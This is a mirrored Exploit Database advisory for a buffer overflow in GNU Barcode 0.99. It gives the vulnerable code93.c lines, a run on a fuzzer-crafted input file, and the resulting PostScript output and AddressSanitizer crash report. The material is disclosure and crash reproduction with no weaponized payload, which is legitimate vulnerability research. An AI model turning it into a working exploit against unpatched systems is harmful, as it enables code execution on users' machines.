GNU Barcode 0.99 – Buffer Overflow

Exploit Database
127 阅读

作者： LiquidWorm

日期： 2018-05-29
类别：
- local
平台：
- linux
来源：https://www.exploit-db.com/exploits/44797/

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# GNU Barcode 0.99 - Buffer Overflow

# Vendor: The GNU Project | Free Software Foundation, Inc.

# Product web page: https://www.gnu.org/software/barcode/

# https://directory.fsf.org/wiki/Barcode

# Author: Gjoko 'LiquidWorm' Krstic

# Tested on: Ubuntu 16.04.4

# Affected version: 0.99

# Summary: GNU Barcode is a tool to convert text strings to printed bars.

# It supports a variety of standard codes to represent the textual strings

# and creates postscript output.

# Desc: The vulnerability is caused due to a boundary error in the processing

# of an input file, which can be exploited to cause a buffer overflow when a

# user processes e.g. a specially crafted file. Successful exploitation could

# allow execution of arbitrary code on the affected machine.

code93.c:

165: strcat(partial, codeset[code]);

166: checksum_str[checksum_len++] = code;

167:

168: /* Encode the second character */

169: code = strchr(alphabet, shiftset2[(int)(text[i])]) - alphabet;

170: strcat(partial, codeset[code]);

171: checksum_str[checksum_len++] = code;

lqwrm@metalgear:~/research/barcode-0.99$ ./barcode -i id:000034,sig:06,src:000000,op:havoc,rep:128

%!PS-Adobe-2.0

%%Creator: "barcode", libbarcode sample frontend

%%DocumentPaperSizes: A4

%%EndComments

%%EndProlog

%%Page: 1 1

% Printing barcode for "W+G$A+M%KWWGWWWWWWWW9WW", scaled1.00, encoded using "code 39"

% The space/bar succession is represented by the following widths (space first):

% 01311313111333111111113111313111111133131131313111131111311311311131311313111131111131313113111111331333111111133311111111111133131333111111133311111113331111111333111111133311111113331111111333111111133311111111133113111333111111133311111113111113311131131311

[

%heightxpos yposwidth heightxpos yposwidth

[75.0010.5015.000.85][75.0014.5015.000.85]

[75.0017.5015.002.85][75.0021.5015.002.85]

[75.0024.5015.000.85][70.0027.5020.002.85]

[70.0033.5020.002.85][70.0036.5020.000.85]

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[70.00 244.5020.000.85][70.00 246.5020.000.85]

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[70.00 267.5020.002.85][70.00 273.5020.002.85]

[70.00 276.5020.000.85][70.00 278.5020.000.85]

[70.00 280.5020.000.85][70.00 283.5020.002.85]

[70.00 289.5020.002.85][70.00 292.5020.000.85]

[70.00 294.5020.000.85][70.00 296.5020.000.85]

[70.00 299.5020.002.85][70.00 305.5020.002.85]

[70.00 308.5020.000.85][70.00 310.5020.000.85]

[70.00 312.5020.000.85][70.00 315.5020.002.85]

[70.00 321.5020.002.85][70.00 324.5020.000.85]

[70.00 326.5020.000.85][70.00 328.5020.000.85]

[70.00 331.5020.002.85][70.00 337.5020.002.85]

[70.00 340.5020.000.85][70.00 342.5020.000.85]

[70.00 344.5020.000.85][70.00 346.5020.000.85]

[70.00 349.5020.002.85][70.00 354.5020.000.85]

[70.00 357.5020.002.85][70.00 360.5020.000.85]

[70.00 363.5020.002.85][70.00 369.5020.002.85]

[70.00 372.5020.000.85][70.00 374.5020.000.85]

[70.00 376.5020.000.85][70.00 379.5020.002.85]

[70.00 385.5020.002.85][70.00 388.5020.000.85]

[70.00 390.5020.000.85][70.00 392.5020.000.85]

[70.00 395.5020.002.85][70.00 398.5020.000.85]

[70.00 400.5020.000.85][70.00 403.5020.002.85]

[70.00 408.5020.000.85][75.00 410.5015.000.85]

[75.00 414.5015.000.85][75.00 417.5015.002.85]

[75.00 421.5015.002.85][75.00 424.5015.000.85]

] { {} forall setlinewidth moveto 0 exch rlineto stroke} bind forall

[

% charxpos ypos fontsize

[(W) 32.0010.00 12.00]

[(+) 48.0010.000.00]

[(G) 64.0010.000.00]

[($) 80.0010.000.00]

[(A) 96.0010.000.00]

[(+)112.0010.000.00]

[(M)128.0010.000.00]

[(%)144.0010.000.00]

[(K)160.0010.000.00]

[(W)176.0010.000.00]

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[(W)384.0010.000.00]

] { {} forall dup 0.00 ne {

/Helvetica findfont exch scalefont setfont

} {pop} ifelse

moveto show} bind forall

% End barcode for "W+G$A+M%KWWGWWWWWWWW9WW"

showpage

%%Page: 2 2

=================================================================

==11076==ERROR: AddressSanitizer: global-buffer-overflow on address 0x00000043bc02 at pc 0x00000042189a bp 0x7fff2f160c00 sp 0x7fff2f160bf0

READ of size 1 at 0x00000043bc02 thread T0

#0 0x421899 in Barcode_93_encode /home/lqwrm/research/barcode-0.99/code93.c:169

#1 0x409ac2 in Barcode_Encode_and_Print /home/lqwrm/research/barcode-0.99/library.c:234

#2 0x402319 in main /home/lqwrm/research/barcode-0.99/main.c:564

#3 0x7f9b8745282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

#4 0x404708 in _start (/home/lqwrm/research/barcode-0.99/barcode+0x404708)

0x00000043bc02 is located 32 bytes to the right of global variable '*.LC6' defined in 'code93.c' (0x43bbe0) of size 2

'*.LC6' is ascii string '1'

0x00000043bc02 is located 30 bytes to the left of global variable 'CSWTCH.16' defined in 'code93.c:146:5' (0x43bc20) of size 48

SUMMARY: AddressSanitizer: global-buffer-overflow /home/lqwrm/research/barcode-0.99/code93.c:169 Barcode_93_encode

Shadow bytes around the buggy address:

0x00008007f730: f9 f9 f9 f9 00 00 00 00 00 00 00 00 00 00 00 00

0x00008007f740: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

0x00008007f750: 00 00 00 00 07 f9 f9 f9 f9 f9 f9 f9 00 f9 f9 f9

0x00008007f760: f9 f9 f9 f9 02 f9 f9 f9 f9 f9 f9 f9 07 f9 f9 f9

0x00008007f770: f9 f9 f9 f9 00 02 f9 f9 f9 f9 f9 f9 02 f9 f9 f9

=>0x00008007f780:[f9]f9 f9 f9 00 00 00 00 00 00 f9 f9 f9 f9 f9 f9

0x00008007f790: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

0x00008007f7a0: 01 f9 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 00 00

0x00008007f7b0: 00 00 00 00 00 00 00 00 01 f9 f9 f9 f9 f9 f9 f9

0x00008007f7c0: 07 f9 f9 f9 f9 f9 f9 f9 07 f9 f9 f9 f9 f9 f9 f9

0x00008007f7d0: 07 f9 f9 f9 f9 f9 f9 f9 07 f9 f9 f9 f9 f9 f9 f9

Shadow byte legend (one shadow byte represents 8 application bytes):

Addressable: 00

Partially addressable: 01 02 03 04 05 06 07

Heap left redzone: fa

Heap right redzone:fb

Freed heap region: fd

Stack left redzone:f1

Stack mid redzone: f2

Stack right redzone: f3

Stack partial redzone: f4

Stack after return:f5

Stack use after scope: f8

Global redzone:f9

Global init order: f6

Poisoned by user:f7

Container overflow:fc

Array cookie:ac

Intra object redzone:bb

ASan internal: fe

==11076==ABORTING